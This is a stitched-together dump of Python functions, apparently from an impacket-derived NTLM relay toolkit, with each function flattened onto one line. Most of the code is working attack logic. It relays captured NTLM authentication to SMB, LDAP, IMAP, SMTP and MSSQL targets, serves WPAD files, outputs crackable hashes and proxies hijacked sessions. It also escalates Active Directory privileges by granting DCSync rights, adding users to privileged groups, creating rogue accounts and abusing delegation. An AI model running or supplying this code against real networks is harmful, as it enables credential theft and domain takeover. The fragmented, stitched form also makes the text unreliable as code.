def enumerateMethods(iInterface): methods = dict() typeInfoCount = iInterface.GetTypeInfoCount() if typeInfoCount['pctinfo'] == 0: LOG.error( 'Automation Server does not support type information for this object' ) return {} iTypeInfo = iInterface.GetTypeInfo() iTypeAttr = iTypeInfo.GetTypeAttr() for x in range(iTypeAttr['ppTypeAttr']['cFuncs']): funcDesc = iTypeInfo.GetFuncDesc(x) names = iTypeInfo.GetNames(funcDesc['ppFuncDesc']['memid'], 255) print names['rgBstrNames'][0]['asData'] funcDesc.dump() print '=' * 80 if names['pcNames'] > 0: name = names['rgBstrNames'][0]['asData'] methods[name] = {} for param in range(1, names['pcNames']): methods[name][names['rgBstrNames'][param]['asData']] = '' if funcDesc['ppFuncDesc']['elemdescFunc'] != NULL: methods[name]['ret'] = funcDesc['ppFuncDesc']['elemdescFunc'][ 'tdesc']['vt'] return methods
def get_address(self): address = get_bytes(self.buffer, 5, self.get_address_length()) if self.get_protocol() == AddressDetails.PROTOCOL_IP: return socket.inet_ntoa(address) else: LOG.error("Address not IP") return address
def initConnection(self): self.session = imaplib.IMAP4(self.targetHost, self.targetPort) self.authTag = self.session._new_tag() LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) if 'AUTH=NTLM' not in self.session.capabilities: LOG.error('IMAP server does not support NTLM authentication!') return False return True
def handle_one_request(self): try: SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) except KeyboardInterrupt: raise except Exception, e: LOG.error('Exception in HTTP request handler: %s' % e) LOG.debug(traceback.format_exc())
def run(self): if self.config.queries is None: LOG.error('No SQL queries specified for MSSQL relay!') else: for query in self.config.queries: LOG.info('Executing SQL: %s' % query) self.client.sql_query(query) self.client.printReplies() self.client.printRows()
def initConnection(self): self.session = smtplib.SMTP(self.targetHost, self.targetPort) # Turn on to debug SMTP messages # self.session.debuglevel = 3 self.session.ehlo() if 'AUTH NTLM' not in self.session.ehlo_resp: LOG.error('SMTP server does not support NTLM authentication!') return False return True
def createFile(self, treeId, pathName, desiredAccess=GENERIC_ALL, shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OVERWRITE_IF, fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): """ creates a remote file :param HANDLE treeId: a valid handle for the share where the file is to be created :param string pathName: the path name of the file to create :return: a valid file descriptor, if not raises a SessionError exception. """ if self.getDialect() == smb.SMB_DIALECT: _, flags2 = self._SMBConnection.get_flags() pathName = pathName.replace('/', '\\') pathName = pathName.encode( 'utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2) ntCreate['Parameters']['FileNameLength'] = len(pathName) ntCreate['Parameters']['AccessMask'] = desiredAccess ntCreate['Parameters']['FileAttributes'] = fileAttributes ntCreate['Parameters']['ShareAccess'] = shareMode ntCreate['Parameters']['Disposition'] = creationDisposition ntCreate['Parameters']['CreateOptions'] = creationOption ntCreate['Parameters']['Impersonation'] = impersonationLevel ntCreate['Parameters']['SecurityFlags'] = securityFlags ntCreate['Parameters']['CreateFlags'] = 0x16 ntCreate['Data']['FileName'] = pathName if flags2 & smb.SMB.FLAGS2_UNICODE: ntCreate['Data']['Pad'] = 0x0 if createContexts is not None: LOG.error("CreateContexts not supported in SMB1") try: return self._SMBConnection.nt_create_andx(treeId, pathName, cmd=ntCreate) except (smb.SessionError, smb3.SessionError), e: raise SessionError(e.get_error_code(), e.get_error_packet())
def readTargets(self): try: with open(self.filename, 'r') as f: self.originalTargets = [] for line in f: target = line.strip() if target != '': self.originalTargets.extend( self.processTarget(target, self.protocolClients)) except IOError, e: LOG.error("Could not open file: %s - " % (self.filename, str(e)))
def getUserInfo(self, domainDumper, samname): entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) try: dn = self.client.entries[0].entry_dn sid = self.client.entries[0]['objectSid'] return (dn, sid) except IndexError: LOG.error('User not found in LDAP: %s' % samname) return False
def getSMBPacket(self): data = self.__NBSession.recv_packet() try: packet = NewSMBPacket(data=data.get_trailer()) smbCommand = SMBCommand(packet['Data'][0]) except Exception, e: # Maybe a SMB2 packet? try: packet = SMB2Packet(data = data.get_trailer()) smbCommand = None except Exception, e: LOG.error('SOCKS: %s' % str(e))
def do_attack(self): # Check if SOCKS is enabled and if we support the target scheme if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes: # Pass all the data to the socksplugins proxy activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(), self.authUser, self.client, self.client.sessionData)) return # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks if self.target.scheme.upper() in self.server.config.attacks: # We have an attack.. go for it clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session, self.authUser) clientThread.start() else: LOG.error('No attack configured for %s' % self.target.scheme.upper())
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob) [:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob auth = base64.b64encode(token) self.session.send(auth + imaplib.CRLF) typ, data = self.session._get_tagged_response(self.authTag) if typ == 'OK': self.session.state = 'AUTH' return None, STATUS_SUCCESS else: LOG.error('IMAP: %s' % ' '.join(data)) return None, STATUS_ACCESS_DENIED
def addUserToGroup(self, userDn, domainDumper, groupDn): global alreadyEscalated # For display only groupName = groupDn.split(',')[0][3:] userName = userDn.split(',')[0][3:] # Now add the user as a member to this group res = self.client.modify(groupDn, {'member': [(ldap3.MODIFY_ADD, [userDn])]}) if res: LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName)) LOG.info('Privilege escalation succesful, shutting down...') alreadyEscalated = True thread.interrupt_main() else: LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob) [:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob auth = base64.b64encode(token) self.session.putcmd(auth) typ, data = self.session.getreply() if typ == 235: self.session.state = 'AUTH' return None, STATUS_SUCCESS else: LOG.error('SMTP: %s' % ''.join(data)) return None, STATUS_ACCESS_DENIED
def do_ntlm_negotiate(self, token, proxy): if self.server.config.protocolClients.has_key(self.target.scheme.upper()): self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target) # If connection failed, return if not self.client.initConnection(): return False self.challengeMessage = self.client.sendNegotiate(token) # Check for errors if self.challengeMessage is False: return False else: LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper()) return False #Calculate auth self.do_AUTHHEAD(message = 'NTLM '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy) return True
def __init__(self, hive, isRemote=False): self.__hive = hive if isRemote is True: self.fd = self.__hive self.__hive.open() else: self.fd = open(hive, 'rb') data = self.fd.read(4096) self.__regf = REG_REGF(data) self.indent = '' self.rootKey = self.__findRootKey() if self.rootKey is None: LOG.error("Can't find root key!") elif self.__regf['MajorVersion'] != 1 and self.__regf[ 'MinorVersion'] > 5: LOG.warning( "Unsupported version (%d.%d) - things might not work!" % (self.__regf['MajorVersion'], self.__regf['MinorVersion']))
def sendNegotiate(self, negotiateMessage): negotiate = base64.b64encode(negotiateMessage) self.session.putcmd('AUTH NTLM') code, resp = self.session.getreply() if code != 334: LOG.error( 'SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) return False else: self.session.putcmd(negotiate) try: code, serverChallengeBase64 = self.session.getreply() serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from SMTP server') raise
def sendNegotiate(self, negotiateMessage): negotiate = base64.b64encode(negotiateMessage) self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag, imaplib.CRLF)) resp = self.session.readline().strip() if resp != '+': LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) return False else: self.session.send(negotiate + imaplib.CRLF) try: serverChallengeBase64 = self.session.readline().strip()[ 2:] #first two chars are the continuation and space char serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from IMAP server') raise
def initConnection(self): self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True) #,preferredDialect=SMB_DIALECT) if self.serverConfig.smb2support is True: data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' else: data = '\x02NT LM 0.12\x00' if self.extendedSecurity is True: flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES else: flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES try: packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, flags2=flags2, data=data) except socketerror as e: if 'reset by peer' in str(e): if not self.serverConfig.smb2support: LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support') else: LOG.error('SMBCLient error: Connection was reset') else: LOG.error('SMBCLient error: %s' % str(e)) return False if packet[0] == '\xfe': smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, existingConnection=smbClient, manualNegotiate=True) return True
def __init__(self, data): # Depending on the type of data we'll end up building a different struct dataType = unpack('<H', data[4:][:2])[0] self.structure = self.fixed if dataType == CATALOG_TYPE_TABLE: self.structure += self.other + self.table_stuff elif dataType == CATALOG_TYPE_COLUMN: self.structure += self.column_stuff elif dataType == CATALOG_TYPE_INDEX: self.structure += self.other + self.index_stuff elif dataType == CATALOG_TYPE_LONG_VALUE: self.structure += self.other + self.lv_stuff elif dataType == CATALOG_TYPE_CALLBACK: raise Exception('CallBack types not supported!') else: LOG.error('Unknown catalog type 0x%x' % dataType) self.structure = () Structure.__init__(self, data) self.structure += self.common Structure.__init__(self, data)
def __init__(self,request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \ '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \ 'return "PROXY %s:80; DIRECT";} ' if self.server.config.mode != 'REDIRECT': if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) self.target = self.server.config.target.getTarget(self.server.config.randomtargets) LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc)) try: SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) except Exception, e: LOG.error(str(e)) LOG.debug(traceback.format_exc())
def sendNegotiate(self, negotiateMessage): #Check if server wants auth self.session.request('GET', self.path) res = self.session.getresponse() res.read() if res.status != 401: LOG.info( 'Status code returned: %d. Authentication does not seem required for URL' % res.status) try: if 'NTLM' not in res.getheader('WWW-Authenticate'): LOG.error( 'NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) return False except (KeyError, TypeError): LOG.error('No authentication requested by the server for url %s' % self.targetHost) return False #Negotiate auth negotiate = base64.b64encode(negotiateMessage) headers = {'Authorization': 'NTLM %s' % negotiate} self.session.request('GET', self.path, headers=headers) res = self.session.getresponse() res.read() try: serverChallengeBase64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from server')
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search( domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append( create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append( create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.info( 'Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)') # Query the SD again to see what AD made of it self.client.search( domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
def skipAuthentication(self): self.socksSocket.sendall('* OK The Microsoft Exchange IMAP4 service is ready.'+EOL) # Next should be the client requesting CAPABILITIES tag, cmd = self.recvPacketClient() if cmd.upper() == 'CAPABILITY': clientcapabilities = list(self.getServerCapabilities()) # Don't offer these AUTH options so the client won't use them blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED'] for cap in blacklist: if cap in clientcapabilities: clientcapabilities.remove(cap) # Offer PLAIN auth for specifying the username if 'AUTH=PLAIN' not in clientcapabilities: clientcapabilities.append('AUTH=PLAIN') # Offer LOGIN for specifying the username if 'LOGIN' not in clientcapabilities: clientcapabilities.append('LOGIN') LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities)) self.socksSocket.sendall('* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL)) else: LOG.error('IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd) return False # next tag, cmd = self.recvPacketClient() args = cmd.split(' ') if cmd.upper() == 'AUTHENTICATE PLAIN': # Send continuation command self.socksSocket.sendall('+'+EOL) # Client will now send their AUTH data = self.socksSocket.recv(self.packetSize) # This contains base64(\x00username\x00password), decode and split creds = base64.b64decode(data.strip()) self.username = creds.split('\x00')[1].upper() elif args[0].upper() == 'LOGIN': # Simple login self.username = args[1].upper() else: LOG.error('IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd) return False # Check if we have a connection for the user if self.activeRelays.has_key(self.username): # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error('IMAP: Connection for %s@%s(%s) is being used at the moment!' % ( self.username, self.targetHost, self.targetPort)) return False else: LOG.info('IMAP: Proxying client session for %s@%s(%s)' % ( self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[self.username]['protocolClient'].session else: LOG.error('IMAP: No session for %s@%s(%s) available' % ( self.username, self.targetHost, self.targetPort)) return False # We arrived here, that means all is OK self.socksSocket.sendall('%s OK %s completed.%s' % (tag, args[0].upper(), EOL)) self.relaySocket = self.session.sock self.relaySocketFile = self.session.file return True
def do_GET(self): messageType = 0 if self.server.config.mode == 'REDIRECT': self.do_SMBREDIRECT() return LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) # Serve WPAD if: # - The client requests it # - A WPAD host was provided in the command line options # - The client has not exceeded the wpad_auth_num threshold yet if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]): LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) self.serve_wpad() return # Determine if the user is connecting to our server directly or attempts to use it as a proxy if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'): proxy = True else: proxy = False if (proxy and self.headers.getheader('Proxy-Authorization') is None) or (not proxy and self.headers.getheader('Authorization') is None): self.do_AUTHHEAD(message = 'NTLM',proxy=proxy) pass else: if proxy: typeX = self.headers.getheader('Proxy-Authorization') else: typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD(message = 'NTLM', proxy=proxy) else: messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 1: if not self.do_ntlm_negotiate(token, proxy=proxy): #Connection failed LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', self.target.scheme, self.target.netloc) self.server.config.target.logTarget(self.target) self.do_REDIRECT() elif messageType == 3: authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if not self.do_ntlm_auth(token,authenticateMessage): if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: LOG.error("Authenticating against %s://%s as %s\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) else: LOG.error("Authenticating against %s://%s as %s\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))) # Only skip to next if the login actually failed, not if it was just anonymous login or a system account # which we don't want if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$': self.server.config.target.logTarget(self.target) # No anonymous login, go to next host and avoid triggering a popup self.do_REDIRECT() else: #If it was an anonymous login, send 401 self.do_AUTHHEAD('NTLM', proxy=proxy) else: # Relay worked, do whatever we want here... if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) else: LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))) ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.config.outputFile is not None: writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) self.server.config.target.logTarget(self.target, True, self.authUser) self.do_attack() # And answer 404 not found self.send_response(404) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Content-Length','0') self.send_header('Connection','close') self.end_headers() return
# RFC 4493 implementation (https://www.ietf.org/rfc/rfc4493.txt) # RFC 4615 implementation (https://www.ietf.org/rfc/rfc4615.txt) # # NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation # (https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108) # # [MS-LSAD] Section 5.1.2 # [MS-SAMR] Section 2.2.11.1.1 from __future__ import division from __future__ import print_function from nebulousAD.modimpacket import LOG try: from Cryptodome.Cipher import DES, AES, ARC4 except Exception: LOG.error( "Warning: You don't have any crypto installed. You need pycryptodomex") LOG.error("See https://pypi.org/project/pycryptodomex/") from struct import pack, unpack from nebulousAD.modimpacket.structure import Structure import hmac, hashlib def Generate_Subkey(K): # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + Algorithm Generate_Subkey + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + + # + Input : K (128-bit key) + # + Output : K1 (128-bit first subkey) + # + K2 (128-bit second subkey) +
def addComputer(self, parent, domainDumper): """ Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyAddedComputer if alreadyAddedComputer: LOG.error('New computer already added. Refusing to add another') return # Random password newPassword = ''.join( random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Get the domain we are in domaindn = domainDumper.root domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] # Random computername newComputer = ( ''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() computerHostname = newComputer[:-1] newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') # Default computer SPNs spns = [ 'HOST/%s' % computerHostname, 'HOST/%s.%s' % (computerHostname, domain), 'RestrictedKrbHost/%s' % computerHostname, 'RestrictedKrbHost/%s.%s' % (computerHostname, domain), ] ucd = { 'dnsHostName': '%s.%s' % (computerHostname, domain), 'userAccountControl': 4096, 'servicePrincipalName': spns, 'sAMAccountName': newComputer, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.debug('New computer info %s', ucd) LOG.info('Attempting to create computer in: %s', parent) res = self.client.add( newComputerDn.decode('utf-8'), ['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd) if not res: # Adding computers requires LDAPS if self.client.result[ 'result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error( 'Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.' ) else: LOG.error('Failed to add a new computer: %s' % str(self.client.result)) return False else: LOG.info( 'Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) alreadyAddedComputer = True # Return the SAM name return newComputer
def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() # Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) # If specified validate the user's privileges. This might take a while on large domains but will # identify the proper containers for escalating via the different techniques. if self.config.validateprivs: LOG.info( 'Enumerating relayed user\'s privileges. This may take a while on large domains' ) userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info( 'User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL') # If validation of privileges is not desired, we assumed that the user has permissions to escalate # an existing user via ACL attacks. else: LOG.info( 'Assuming relayed user has privileges to escalate a user via ACL attack' ) privs = {} privs['create'] = False privs['aclEscalate'] = True privs['escalateViaGroup'] = False # We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error( 'Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error( 'Unable to escalate without a valid user, aborting.') return # Perform the ACL attack self.aclAttack(userDn, domainDumper) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error( 'Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error( 'Unable to escalate without a valid user, aborting.') return # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': self.delegateAttack(self.config.escalateuser, self.username, domainDumper) return # Add a new computer if that is requested # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota if self.config.addcomputer: self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) return # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')
def addUser(self, parent, domainDumper): """ Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyEscalated if alreadyEscalated: LOG.error('New user already added. Refusing to add another') return # Random password newPassword = ''.join( random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Random username newUser = ''.join( random.choice(string.ascii_letters) for _ in range(10)) newUserDn = 'CN=%s,%s' % (newUser, parent) ucd = { 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root, 'distinguishedName': newUserDn, 'cn': newUser, 'sn': newUser, 'givenName': newUser, 'displayName': newUser, 'name': newUser, 'userAccountControl': 512, 'accountExpires': '0', 'sAMAccountName': newUser, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.info('Attempting to create user in: %s', parent) res = self.client.add( newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd) if not res: # Adding users requires LDAPS if self.client.result[ 'result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error( 'Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.' ) else: LOG.error('Failed to add a new user: %s' % str(self.client.result)) return False else: LOG.info( 'Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword)) # Return the DN return newUserDn
def delegateAttack(self, usersam, targetsam, domainDumper): global delegatePerformed if targetsam in delegatePerformed: LOG.info( 'Delegate attack already performed for this computer, skipping' ) return if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam # Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1]) # Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0] self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=[ 'SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity' ]) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR( data=targetuser['raw_attributes'] ['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify( targetuser['dn'], { 'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]] }) if self.client.result['result'] == 0: LOG.info('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) delegatePerformed.append(targetsam) else: if self.client.result['result'] == 50: LOG.error( 'Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error( 'Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return